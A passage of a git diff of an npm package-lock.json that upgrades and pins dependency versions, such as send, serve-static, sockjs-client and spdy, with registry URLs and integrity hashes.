- "version": "0.11.2",
- "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.11.2.tgz",
- "integrity": "sha512-+WCP3s3wOaW4S7C1tl3TEXp4l9lJn0ZK8G3W3WKRWmw77Z2cIFUW2MiNTMHn5sCjxN+t7N43HAOOgMjyAg5hlg==",
+ "version": "0.15.0",
+ "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.15.0.tgz",
+ "integrity": "sha512-xAefmSfN6jqAa7Kuq7LIJY0bwAPG3xlCj0HMEBQk1lxYiDKZscY2xJ5U/61ZTrYbmNQbXa+gc7czPkVo11tnCg==",
"requires": {
- "loose-envify": "^1.1.0",
- "object-assign": "^4.1.1"
+ "loose-envify": "1.3.1",
+ "object-assign": "4.1.1"
}
},
"schema-utils": {
@@ -15519,8 +16720,8 @@
"integrity": "sha512-v/iwU6wvwGK8HbU9yi3/nhGzP0yGSuhQMzL6ySiec1FSrZZDkhm4noOSWzrNFo/jEc+SJY6jRTwuwbSXJPDUnQ==",
"dev": true,
"requires": {
- "ajv": "^6.1.0",
- "ajv-keywords": "^3.1.0"
+ "ajv": "6.5.2",
+ "ajv-keywords": "3.2.0"
}
},
"scss-tokenizer": {
@@ -15528,8 +16729,8 @@
"resolved": "https://registry.npmjs.org/scss-tokenizer/-/scss-tokenizer-0.2.3.tgz",
"integrity": "sha1-jrBtualyMzOCTT9VMGQRSYR85dE=",
"requires": {
- "js-base64": "^2.1.8",
- "source-map": "^0.4.2"
+ "js-base64": "2.5.1",
+ "source-map": "0.4.4"
},
"dependencies": {
"source-map": {
@@ -15537,7 +16738,7 @@
"resolved": "https://registry.npmjs.org/source-map/-/source-map-0.4.4.tgz",
"integrity": "sha1-66T12pwNyZneaAMti092FzZSA2s=",
"requires": {
- "amdefine": ">=0.0.4"
+ "amdefine": "1.0.1"
}
}
}
@@ -15549,12 +16750,12 @@
"dev": true
},
"selfsigned": {
- "version": "1.10.4",
- "resolved": "https://registry.npmjs.org/selfsigned/-/selfsigned-1.10.4.tgz",
- "integrity": "sha512-9AukTiDmHXGXWtWjembZ5NDmVvP2695EtpgbCsxCa68w3c88B+alqbmZ4O3hZ4VWGXeGWzEVdvqgAJD8DQPCDw==",
+ "version": "1.10.6",
+ "resolved": "https://registry.npmjs.org/selfsigned/-/selfsigned-1.10.6.tgz",
+ "integrity": "sha512-i3+CeqxL7DpAazgVpAGdKMwHuL63B5nhJMh9NQ7xmChGkA3jNFflq6Jyo1LLJYcr3idWiNOPWHCrm4zMayLG4w==",
"dev": true,
"requires": {
- "node-forge": "0.7.5"
+ "node-forge": "0.8.2"
}
},
"semver": {
@@ -15563,24 +16764,24 @@
"integrity": "sha1-MAvG4OhjdPe6YQaLWx7NV/xlMto="
},
"send": {
- "version": "0.16.2",
- "resolved": "https://registry.npmjs.org/send/-/send-0.16.2.tgz",
- "integrity": "sha512-E64YFPUssFHEFBvpbbjr44NCLtI1AohxQ8ZSiJjQLskAdKuriYEP6VyGEsRDH8ScozGpkaX1BGvhanqCwkcEZw==",
+ "version": "0.17.1",
+ "resolved": "https://registry.npmjs.org/send/-/send-0.17.1.tgz",
+ "integrity": "sha512-BsVKsiGcQMFwT8UxypobUKyv7irCNRHk1T0G680vk88yf6LBByGcZJOTJCrTP2xVN6yI+XjPJcNuE3V4fT9sAg==",
"dev": true,
"requires": {
"debug": "2.6.9",
- "depd": "~1.1.2",
- "destroy": "~1.0.4",
- "encodeurl": "~1.0.2",
- "escape-html": "~1.0.3",
- "etag": "~1.8.1",
+ "depd": "1.1.2",
+ "destroy": "1.0.4",
+ "encodeurl": "1.0.2",
+ "escape-html": "1.0.3",
+ "etag": "1.8.1",
"fresh": "0.5.2",
- "http-errors": "~1.6.2",
- "mime": "1.4.1",
- "ms": "2.0.0",
- "on-finished": "~2.3.0",
- "range-parser": "~1.2.0",
- "statuses": "~1.4.0"
+ "http-errors": "1.7.2",
+ "mime": "1.6.0",
+ "ms": "2.1.1",
+ "on-finished": "2.3.0",
+ "range-parser": "1.2.1",
+ "statuses": "1.5.0"
},
"dependencies": {
"debug": {
@@ -15590,26 +16791,40 @@
"dev": true,
"requires": {
"ms": "2.0.0"
+ },
+ "dependencies": {
+ "ms": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+ "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=",
+ "dev": true
+ }
}
},
"mime": {
- "version": "1.4.1",
- "resolved": "https://registry.npmjs.org/mime/-/mime-1.4.1.tgz",
- "integrity": "sha512-KI1+qOZu5DcW6wayYHSzR/tXKCDC5Om4s1z2QJjDULzLcmf3DvzS7oluY4HCTrc+9FiKmWUgeNLg7W3uIQvxtQ==",
+ "version": "1.6.0",
+ "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",
+ "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==",
"dev": true
},
- "statuses": {
- "version": "1.4.0",
- "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.4.0.tgz",
- "integrity": "sha512-zhSCtt8v2NDrRlPQpCNtw/heZLtfUDqxBM1udqikb/Hbk52LK4nQSwr10u77iopCW5LsyHpuXS0GnEc48mLeew==",
+ "ms": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz",
+ "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==",
+ "dev": true
+ },
+ "range-parser": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz",
+ "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==",
"dev": true
}
}
},
"serialize-javascript": {
- "version": "1.5.0",
- "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-1.5.0.tgz",
- "integrity": "sha512-Ga8c8NjAAp46Br4+0oZ2WxJCwIzwP60Gq1YPgU+39PiTVxyed/iKE/zyZI6+UlVYH5Q4PaQdHhcegIFPZTUfoQ==",
+ "version": "1.9.1",
+ "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-1.9.1.tgz",
+ "integrity": "sha512-0Vb/54WJ6k5v8sSWN09S0ora+Hnr+cX40r9F170nT+mSkaxltoE/7R3OrIdBSUv1OoiobH1QoWQbCnAO+e8J1A==",
"dev": true
},
"serve-index": {
@@ -15618,13 +16833,13 @@
"integrity": "sha1-03aNabHn2C5c4FD/9bRTvqEqkjk=",
"dev": true,
"requires": {
- "accepts": "~1.3.4",
+ "accepts": "1.3.7",
"batch": "0.6.1",
"debug": "2.6.9",
- "escape-html": "~1.0.3",
- "http-errors": "~1.6.2",
- "mime-types": "~2.1.17",
- "parseurl": "~1.3.2"
+ "escape-html": "1.0.3",
+ "http-errors": "1.6.3",
+ "mime-types": "2.1.24",
+ "parseurl": "1.3.3"
},
"dependencies": {
"debug": {
@@ -15636,33 +16851,51 @@
"ms": "2.0.0"
}
},
+ "http-errors": {
+ "version": "1.6.3",
+ "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.3.tgz",
+ "integrity": "sha1-i1VoC7S+KDoLW/TqLjhYC+HZMg0=",
+ "dev": true,
+ "requires": {
+ "depd": "1.1.2",
+ "inherits": "2.0.3",
+ "setprototypeof": "1.1.0",
+ "statuses": "1.5.0"
+ }
+ },
"mime-db": {
- "version": "1.36.0",
- "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.36.0.tgz",
- "integrity": "sha512-L+xvyD9MkoYMXb1jAmzI/lWYAxAMCPvIBSWur0PZ5nOf5euahRLVqH//FKW9mWp2lkqUgYiXPgkzfMUFi4zVDw==",
+ "version": "1.40.0",
+ "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.40.0.tgz",
+ "integrity": "sha512-jYdeOMPy9vnxEqFRRo6ZvTZ8d9oPb+k18PKoYNYUe2stVEBPPwsln/qWzdbmaIvnhZ9v2P+CuecK+fpUfsV2mA==",
"dev": true
},
"mime-types": {
- "version": "2.1.20",
- "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.20.tgz",
- "integrity": "sha512-HrkrPaP9vGuWbLK1B1FfgAkbqNjIuy4eHlIYnFi7kamZyLLrGlo2mpcx0bBmNpKqBtYtAfGbodDddIgddSJC2A==",
+ "version": "2.1.24",
+ "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.24.tgz",
+ "integrity": "sha512-WaFHS3MCl5fapm3oLxU4eYDw77IQM2ACcxQ9RIxfaC3ooc6PFuBMGZZsYpvoXS5D5QTWPieo1jjLdAm3TBP3cQ==",
"dev": true,
"requires": {
- "mime-db": "~1.36.0"
+ "mime-db": "1.40.0"
}
+ },
+ "setprototypeof": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.0.tgz",
+ "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ==",
+ "dev": true
}
}
},
"serve-static": {
- "version": "1.13.2",
- "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.13.2.tgz",
- "integrity": "sha512-p/tdJrO4U387R9oMjb1oj7qSMaMfmOyd4j9hOFoxZe2baQszgHcSWjuya/CiT5kgZZKRudHNOA0pYXOl8rQ5nw==",
+ "version": "1.14.1",
+ "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.14.1.tgz",
+ "integrity": "sha512-JMrvUwE54emCYWlTI+hGrGv5I8dEwmco/00EvkzIIsR7MqrHonbD9pO2MOfFnpFntl7ecpZs+3mW+XbQZu9QCg==",
"dev": true,
"requires": {
- "encodeurl": "~1.0.2",
- "escape-html": "~1.0.3",
- "parseurl": "~1.3.2",
- "send": "0.16.2"
+ "encodeurl": "1.0.2",
+ "escape-html": "1.0.3",
+ "parseurl": "1.3.3",
+ "send": "0.17.1"
}
},
"set-blocking": {
@@ -15674,18 +16907,19 @@
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/set-immediate-shim/-/set-immediate-shim-1.0.1.tgz",
"integrity": "sha1-SysbJ+uAip+NzEgaWOXlb1mfP2E=",
- "dev": true
+ "dev": true,
+ "optional": true
},
"set-value": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/set-value/-/set-value-2.0.0.tgz",
- "integrity": "sha512-hw0yxk9GT/Hr5yJEYnHNKYXkIA8mVJgd9ditYZCe16ZczcaELYYcfvaXesNACk2O8O0nTiPQcQhGUQj8JLzeeg==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/set-value/-/set-value-2.0.1.tgz",
+ "integrity": "sha512-JxHc1weCN68wRY0fhCoXpyK55m/XPHafOmK4UWD7m2CI14GMcFypt4w/0+NV5f/ZMby2F6S2wwA7fgynh9gWSw==",
"dev": true,
"requires": {
- "extend-shallow": "^2.0.1",
- "is-extendable": "^0.1.1",
- "is-plain-object": "^2.0.3",
- "split-string": "^3.0.1"
+ "extend-shallow": "2.0.1",
+ "is-extendable": "0.1.1",
+ "is-plain-object": "2.0.4",
+ "split-string": "3.1.0"
},
"dependencies": {
"extend-shallow": {
@@ -15694,7 +16928,7 @@
"integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
"dev": true,
"requires": {
- "is-extendable": "^0.1.0"
+ "is-extendable": "0.1.1"
}
}
}
@@ -15705,9 +16939,9 @@
"integrity": "sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU="
},
"setprototypeof": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.0.tgz",
- "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ==",
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.1.tgz",
+ "integrity": "sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw==",
"dev": true
},
"sha.js": {
@@ -15716,43 +16950,30 @@
"integrity": "sha512-QMEp5B7cftE7APOjk5Y6xgrbWu+WkLVQwk8JNjZ8nKRciZaByEW6MubieAiToS7+dwvrjGhH8jRXz3MVd0AYqQ==",
"dev": true,
"requires": {
- "inherits": "^2.0.1",
- "safe-buffer": "^5.0.1"
+ "inherits": "2.0.3",
+ "safe-buffer": "5.1.1"
}
},
"sha3": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/sha3/-/sha3-2.0.0.tgz",
- "integrity": "sha512-20U15KDnIWrpJDSQ8o1i1C+dH3g/c08DYXyS2/wIfbErDn6pbw8rvYCwJvFH5OO3ZwwNNy0NVcua7Cxdd2RBnA==",
+ "version": "2.0.7",
+ "resolved": "https://registry.npmjs.org/sha3/-/sha3-2.0.7.tgz",
+ "integrity": "sha512-7Qsj/0J3pxCWfmyuDbTZWoKNSKY/rg2eecNRvTYE4EAPJ11Uh6xuEObyCG295AqgrtOjzdDbfwtGLDY52h11tA==",
"requires": {
- "buffer": "5.2.1"
- },
- "dependencies": {
- "buffer": {
- "version": "5.2.1",
- "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.2.1.tgz",
- "integrity": "sha512-c+Ko0loDaFfuPWiL02ls9Xd3GO3cPVmUobQ6t3rXNUk304u6hGq+8N/kFi+QEIKhzK3uwolVhLzszmfLmMLnqg==",
- "requires": {
- "base64-js": "^1.0.2",
- "ieee754": "^1.1.4"
- }
- }
+ "buffer": "5.4.0"
}
},
"shallow-clone": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-1.0.0.tgz",
- "integrity": "sha512-oeXreoKR/SyNJtRJMAKPDSvd28OqEwG4eR/xc856cRGBII7gX9lvAqDxusPm0846z/w/hWYjI1NpKwJ00NHzRA==",
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-3.0.1.tgz",
+ "integrity": "sha512-/6KqX+GVUdqPuPPd2LxDDxzX6CAbjJehAAOKlNpqqUpAqPM6HeL8f+o3a+JsyGjn2lv0WY8UsTgUJjU9Ok55NA==",
"requires": {
- "is-extendable": "^0.1.1",
- "kind-of": "^5.0.0",
- "mixin-object": "^2.0.1"
+ "kind-of": "6.0.2"
},
"dependencies": {
"kind-of": {
- "version": "5.1.0",
- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
- "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw=="
+ "version": "6.0.2",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz",
+ "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA=="
}
}
},
@@ -15768,7 +16989,7 @@
"integrity": "sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=",
"dev": true,
"requires": {
- "shebang-regex": "^1.0.0"
+ "shebang-regex": "1.0.0"
}
},
"shebang-regex": {
@@ -15777,6 +16998,14 @@
"integrity": "sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM=",
"dev": true
},
+ "shortid": {
+ "version": "2.2.15",
+ "resolved": "https://registry.npmjs.org/shortid/-/shortid-2.2.15.tgz",
+ "integrity": "sha512-5EaCy2mx2Jgc/Fdn9uuDuNIIfWBpzY4XIlhoqtXF6qsf+/+SGZ+FxDdX/ZsMZiWupIWNqAEmiNY4RC+LSmCeOw==",
+ "requires": {
+ "nanoid": "2.1.1"
+ }
+ },
"signal-exit": {
"version": "3.0.2",
"resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.2.tgz",
@@ -15789,12 +17018,25 @@
"dev": true
},
"slice-ansi": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-1.0.0.tgz",
- "integrity": "sha512-POqxBK6Lb3q6s047D/XsDVNPnF9Dl8JSaqe9h9lURl0OdNqy/ujDrOiIHtsqXMGbWWTIomRzAMaTyawAU//Reg==",
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-2.1.0.tgz",
+ "integrity": "sha512-Qu+VC3EwYLldKa1fCxuuvULvSJOKEgk9pi8dZeCVK7TqBfUNTH4sFkk4joj8afVSfAYgJoSOetjx9QWOJ5mYoQ==",
"dev": true,
"requires": {
- "is-fullwidth-code-point": "^2.0.0"
+ "ansi-styles": "3.2.1",
+ "astral-regex": "1.0.0",
+ "is-fullwidth-code-point": "2.0.0"
+ },
+ "dependencies": {
+ "ansi-styles": {
+ "version": "3.2.1",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
+ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
+ "dev": true,
+ "requires": {
+ "color-convert": "1.9.0"
+ }
+ }
}
},
"snapdragon": {
@@ -15803,14 +17045,14 @@
"integrity": "sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg==",
"dev": true,
"requires": {
- "base": "^0.11.1",
- "debug": "^2.2.0",
- "define-property": "^0.2.5",
- "extend-shallow": "^2.0.1",
- "map-cache": "^0.2.2",
- "source-map": "^0.5.6",
- "source-map-resolve": "^0.5.0",
- "use": "^3.1.0"
+ "base": "0.11.2",
+ "debug": "2.6.8",
+ "define-property": "0.2.5",
+ "extend-shallow": "2.0.1",
+ "map-cache": "0.2.2",
+ "source-map": "0.5.6",
+ "source-map-resolve": "0.5.2",
+ "use": "3.1.1"
},
"dependencies": {
"define-property": {
@@ -15819,7 +17061,7 @@
"integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
"dev": true,
"requires": {
- "is-descriptor": "^0.1.0"
+ "is-descriptor": "0.1.6"
}
},
"extend-shallow": {
@@ -15828,7 +17070,7 @@
"integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
"dev": true,
"requires": {
- "is-extendable": "^0.1.0"
+ "is-extendable": "0.1.1"
}
}
}
@@ -15839,9 +17081,9 @@
"integrity": "sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw==",
"dev": true,
"requires": {
- "define-property": "^1.0.0",
- "isobject": "^3.0.0",
- "snapdragon-util": "^3.0.1"
+ "define-property": "1.0.0",
+ "isobject": "3.0.1",
+ "snapdragon-util": "3.0.1"
},
"dependencies": {
"define-property": {
@@ -15850,7 +17092,7 @@
"integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=",
"dev": true,
"requires": {
- "is-descriptor": "^1.0.0"
+ "is-descriptor": "1.0.2"
}
},
"is-accessor-descriptor": {
@@ -15859,7 +17101,7 @@
"integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
"dev": true,
"requires": {
- "kind-of": "^6.0.0"
+ "kind-of": "6.0.2"
}
},
"is-data-descriptor": {
@@ -15868,7 +17110,7 @@
"integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
"dev": true,
"requires": {
- "kind-of": "^6.0.0"
+ "kind-of": "6.0.2"
}
},
"is-descriptor": {
@@ -15877,9 +17119,9 @@
"integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
"dev": true,
"requires": {
- "is-accessor-descriptor": "^1.0.0",
- "is-data-descriptor": "^1.0.0",
- "kind-of": "^6.0.2"
+ "is-accessor-descriptor": "1.0.0",
+ "is-data-descriptor": "1.0.0",
+ "kind-of": "6.0.2"
}
},
"isobject": {
@@ -15902,7 +17144,7 @@
"integrity": "sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ==",
"dev": true,
"requires": {
- "kind-of": "^3.2.0"
+ "kind-of": "3.2.2"
}
},
"sntp": {
@@ -15911,7 +17153,7 @@
"integrity": "sha512-FL1b58BDrqS3A11lJ0zEdnJ3UOKqVxawAkF3k7F0CVN7VQ34aZrV+G8BZ1WC9ZL7NyrwsW0oviwsWDgRuVYtJg==",
"dev": true,
"requires": {
- "hoek": "4.x.x"
+ "hoek": "4.2.1"
}
},
"socket.io": {
@@ -15920,12 +17162,12 @@
"integrity": "sha512-rORqq9c+7W0DAK3cleWNSyfv/qKXV99hV4tZe+gGLfBECw3XEhBy7x85F3wypA9688LKjtwO9pX9L33/xQI8yA==",
"dev": true,
"requires": {
- "debug": "~3.1.0",
- "engine.io": "~3.2.0",
- "has-binary2": "~1.0.2",
- "socket.io-adapter": "~1.1.0",
+ "debug": "3.1.0",
+ "engine.io": "3.2.1",
+ "has-binary2": "1.0.3",
+ "socket.io-adapter": "1.1.1",
"socket.io-client": "2.1.1",
- "socket.io-parser": "~3.2.0"
+ "socket.io-parser": "3.2.0"
},
"dependencies": {
"debug": {
@@ -15955,18 +17197,24 @@
"base64-arraybuffer": "0.1.5",
"component-bind": "1.0.0",
"component-emitter": "1.2.1",
- "debug": "~3.1.0",
- "engine.io-client": "~3.2.0",
- "has-binary2": "~1.0.2",
+ "debug": "3.1.0",
+ "engine.io-client": "3.2.1",
+ "has-binary2": "1.0.3",
"has-cors": "1.1.0",
"indexof": "0.0.1",
"object-component": "0.0.3",
"parseqs": "0.0.5",
"parseuri": "0.0.5",
- "socket.io-parser": "~3.2.0",
+ "socket.io-parser": "3.2.0",
"to-array": "0.1.4"
},
"dependencies": {
+ "component-emitter": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.2.1.tgz",
+ "integrity": "sha1-E3kY1teCg/ffemt8WmPhQOaUJeY=",
+ "dev": true
+ },
"debug": {
"version": "3.1.0",
"resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz",
@@ -15985,10 +17233,16 @@
"dev": true,
"requires": {
"component-emitter": "1.2.1",
- "debug": "~3.1.0",
+ "debug": "3.1.0",
"isarray": "2.0.1"
},
"dependencies": {
+ "component-emitter": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.2.1.tgz",
+ "integrity": "sha1-E3kY1teCg/ffemt8WmPhQOaUJeY=",
+ "dev": true
+ },
"debug": {
"version": "3.1.0",
"resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz",
@@ -16012,39 +17266,54 @@
"integrity": "sha512-V48klKZl8T6MzatbLlzzRNhMepEys9Y4oGFpypBFFn1gLI/QQ9HtLLyWJNbPlwGLelOVOEijUbTTJeLLI59jLw==",
"dev": true,
"requires": {
- "faye-websocket": "^0.10.0",
- "uuid": "^3.0.1"
+ "faye-websocket": "0.10.0",
+ "uuid": "3.2.1"
}
},
"sockjs-client": {
- "version": "1.1.5",
- "resolved": "https://registry.npmjs.org/sockjs-client/-/sockjs-client-1.1.5.tgz",
- "integrity": "sha1-G7fA9yIsQPQq3xT0RCy9Eml3GoM=",
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/sockjs-client/-/sockjs-client-1.4.0.tgz",
+ "integrity": "sha512-5zaLyO8/nri5cua0VtOrFXBPK1jbL4+1cebT/mmKA1E1ZXOvJrII75bPu0l0k843G/+iAbhEqzyKr0w/eCCj7g==",
"dev": true,
"requires": {
- "debug": "^2.6.6",
- "eventsource": "0.1.6",
- "faye-websocket": "~0.11.0",
- "inherits": "^2.0.1",
- "json3": "^3.3.2",
- "url-parse": "^1.1.8"
+ "debug": "3.2.6",
+ "eventsource": "1.0.7",
+ "faye-websocket": "0.11.3",
+ "inherits": "2.0.3",
+ "json3": "3.3.3",
+ "url-parse": "1.4.7"
},
"dependencies": {
- "faye-websocket": {
- "version": "0.11.1",
- "resolved": "https://registry.npmjs.org/faye-websocket/-/faye-websocket-0.11.1.tgz",
- "integrity": "sha1-8O/hjE9W5PQK/H4Gxxn9XuYYjzg=",
+ "debug": {
+ "version": "3.2.6",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz",
+ "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==",
"dev": true,
"requires": {
- "websocket-driver": ">=0.5.1"
+ "ms": "2.1.2"
}
+ },
+ "faye-websocket": {
+ "version": "0.11.3",
+ "resolved": "https://registry.npmjs.org/faye-websocket/-/faye-websocket-0.11.3.tgz",
+ "integrity": "sha512-D2y4bovYpzziGgbHYtGCMjlJM36vAl/y+xUyn1C+FVx8szd1E+86KwVw6XvYSzOP8iMpm1X0I4xJD+QtUb36OA==",
+ "dev": true,
+ "requires": {
+ "websocket-driver": "0.7.3"
+ }
+ },
+ "ms": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
}
}
},
"source-list-map": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/source-list-map/-/source-list-map-2.0.0.tgz",
- "integrity": "sha512-I2UmuJSRr/T8jisiROLU3A3ltr+swpniSmNPI4Ml3ZCX6tVnDsuZzK7F2hl5jTqbZBWCEKlj5HRQiPExXLgE8A==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/source-list-map/-/source-list-map-2.0.1.tgz",
+ "integrity": "sha512-qnQ7gVMxGNxsiL4lEuJwe/To8UnK7fAnmbGEEH8RpLouuKbeEm0lhbQVFIrNSuB+G7tVrAlVsZgETT5nljf+Iw==",
"dev": true
},
"source-map": {
@@ -16059,11 +17328,11 @@
"integrity": "sha512-MjqsvNwyz1s0k81Goz/9vRBe9SZdB09Bdw+/zYyO+3CuPk6fouTaxscHkgtE8jKvf01kVfl8riHzERQ/kefaSA==",
"dev": true,
"requires": {
- "atob": "^2.1.1",
- "decode-uri-component": "^0.2.0",
- "resolve-url": "^0.2.1",
- "source-map-url": "^0.4.0",
- "urix": "^0.1.0"
+ "atob": "2.1.2",
+ "decode-uri-component": "0.2.0",
+ "resolve-url": "0.2.1",
+ "source-map-url": "0.4.0",
+ "urix": "0.1.0"
}
},
"source-map-support": {
@@ -16072,7 +17341,7 @@
"integrity": "sha512-try0/JqxPLF9nOjvSta7tVondkP5dwgyLDjVoyMDlmjugT2lRZ1OfsrYTkCd2hkDnJTKRbO/Rl3orm8vlsUzbA==",
"dev": true,
"requires": {
- "source-map": "^0.5.6"
+ "source-map": "0.5.6"
}
},
"source-map-url": {
@@ -16086,8 +17355,8 @@
"resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.0.0.tgz",
"integrity": "sha512-N19o9z5cEyc8yQQPukRCZ9EUmb4HUpnrmaL/fxS2pBo2jbfcFRVuFZ/oFC+vZz0MNNk0h80iMn5/S6qGZOL5+g==",
"requires": {
- "spdx-expression-parse": "^3.0.0",
- "spdx-license-ids": "^3.0.0"
+ "spdx-expression-parse": "3.0.0",
+ "spdx-license-ids": "3.0.0"
}
},
"spdx-exceptions": {
@@ -16100,8 +17369,8 @@
"resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.0.tgz",
"integrity": "sha512-Yg6D3XpRD4kkOmTpdgbUiEJFKghJH03fiC1OPll5h/0sO6neh2jqRDVHOQ4o/LMea0tgCkbMgea5ip/e+MkWyg==",
"requires": {
- "spdx-exceptions": "^2.1.0",
- "spdx-license-ids": "^3.0.0"
+ "spdx-exceptions": "2.1.0",
+ "spdx-license-ids": "3.0.0"
}
},
"spdx-license-ids": {
@@ -16110,68 +17379,88 @@
"integrity": "sha512-2+EPwgbnmOIl8HjGBXXMd9NAu02vLjOO1nWw4kmeRDFyHn+M/ETfHxQUK0oXg8ctgVnl9t3rosNVsZ1jG61nDA=="
},
"spdy": {
- "version": "3.4.7",
- "resolved": "https://registry.npmjs.org/spdy/-/spdy-3.4.7.tgz",
- "integrity": "sha1-Qv9B7OXMD5mjpsKKq7c/XDsDrLw=",
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/spdy/-/spdy-4.0.1.tgz",
